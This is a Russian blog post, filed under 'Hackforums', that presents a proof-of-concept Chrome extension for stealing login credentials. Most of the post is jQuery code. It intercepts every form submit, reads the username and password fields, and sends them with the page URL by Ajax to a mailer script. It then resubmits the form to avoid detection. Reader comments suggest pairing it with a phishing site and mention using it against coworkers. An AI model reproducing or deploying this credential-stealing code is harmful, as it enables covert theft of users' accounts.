Как научить Chrome воровать аккаунты.




Как научить Chrome воровать аккаунты

В оригинале — Stealing login details with a Google Chrome extension

Браузер Google Chrome позволяет установку сторонних расширений, увеличивающих функциональность браузера. Расширения пишутся на JavaScript и HTML и, среди прочих особенностей, позволяют манипуляцию DOM.

Получив доступ к DOM, злоумышленники могут прочесть поля форм… включая логины и пароли. Это то, что вызвало мою идею создания PoC.

Расширение, которое я здесь представляю, очень простое. Всякий раз, когда пользователь отправляет заполненную форму, оно пытается перехватить логин и пароль, отправить их мне электронной почтой через вызов Ajax со сценарием с этими данными, включая url, и затем продолжает нормальную отправку формы, чтобы избежать обнаружения.

Эта простая процедура прошла успешно с Gmail, Facebook, Twitter и другими крупными веб-сайтами.

Код

Для этого расширения я использую jQuery как средство быстрого написания образца, но, очевидно, что код может быть переписан и без него.

Первое, что делает сценарий – это присоединение к обработчику submit каждого поля формы на странице:

$(«form»).submit(function(e) {

var $this = $(this);

e.preventDefault();

process(function() {

$this.unbind(‘submit’);

$this.submit();

});

});

Мы перехватываем обработчик submit, чтобы предупредить нормальное поведение формы (т.е. поведение по умолчанию) с помощью e.preventDefault и вызвать нашу функцию process:

var process = function(callback) {

var username = $(«input[type=text]«).not(passwordBoxes).filter(function() {

var field = $(this);

return field.val() || field.html();

}).val(),

password = passwordBoxes.val();

sendEmail(username, password, location.href, callback);

};

Функция process перехватывает значения полей имени пользователя и пароля, соответственно. passwordBoxes – это переменная, содержащая входные данные страницы, чей тип установлен как password:

var passwordBoxes = $(«input[type=password]«);

После захвата значений полей, содержащих данные имени пользователя и пароля, они отправляются вместе с текущим url и обратным вызовом формы в функцию sendEmail, которая отсылает письмо с именем пользователя, паролем и url через вызов Ajax:

var sendEmail = function(username, password, url, callback) {

var msg = getMessage(username, password, url);

$.ajax({

type: ‘POST’,

url: ‘the url of the mailer script’,

data: ‘the headers you want to send’,

success: callback

});

};

Функция getMessage просто возвращает отформатированную строку с данными, содержащимися в письме:

var getMessage = function(username, password, url) {

return «Username: » + username + » || Password: » + password + » || Url: » + url;

};

После того как данные отосланы, обратный вызов отправляет форму в нормальном виде.

.

Далее — код расширения

Popularity: 4%



Этот материал находится на сайте http://compiling.ru
__________________________________________



Похожие посты:


  • Как научить Chrome воровать аккаунты – код расширения
  • SAMP 13, Test mysql connection
  • Drupal 6 Hosting With nginx And PHP-FastCGI. Part 4
  • HowTo: Memcache 4, init-script
  • Удаление ключей SSH



  • Опубликовано 13 Июл 2010 в 13:35. В рубриках: Hackforums. Вы можете следить за ответами к этой записи через RSS 2.0. Вы можете оставить отзыв или трекбек со своего сайта.

    Отзывов: 3 на “Как научить Chrome воровать аккаунты.”

    1. ssaddsad 15 Окт 2011 в 16:51

      Чушь это все. Изначально пользователь должен загрузить в браузер этот код, то есть получить его от сервера. И если вы, батенька, имеете доступ к серверу на уровне создания (изменения) файлов, то вы уже сделали почти все. Ну а если вы собираетесь подсаживать код на стороне клиента, что возможно скорее только в случае прямого доступа к удаленному или локальному компьютеру (бедные коллеги по работе :)), тогда карты в руки, но это уже другая история.

    2. dan1005 18 Окт 2011 в 17:45

      Делаем фишинговый сайт, пихаем туда этот скрипт, ждём посетителей на Chrom’e.
      В Chrom заливается extension, ждём приход чужих акков.
      Что сделано не так?

    3. dan1005 18 Окт 2011 в 17:50

      У коллег по работе и так всё можно вытащить без шума и пыли.
      И лишних извращений.

    Оставьте свой отзыв

    Партнёры:


    www.vpnssl.ru

    Создание vpn подключения - от 1'950р.

    Есть вопрос! Оставь свой голос!

    Question:

    Что нужно админу для счастья?

    View Results

    Loading ... Loading ...




    Most Popular Posts



    Supported:



  • free counters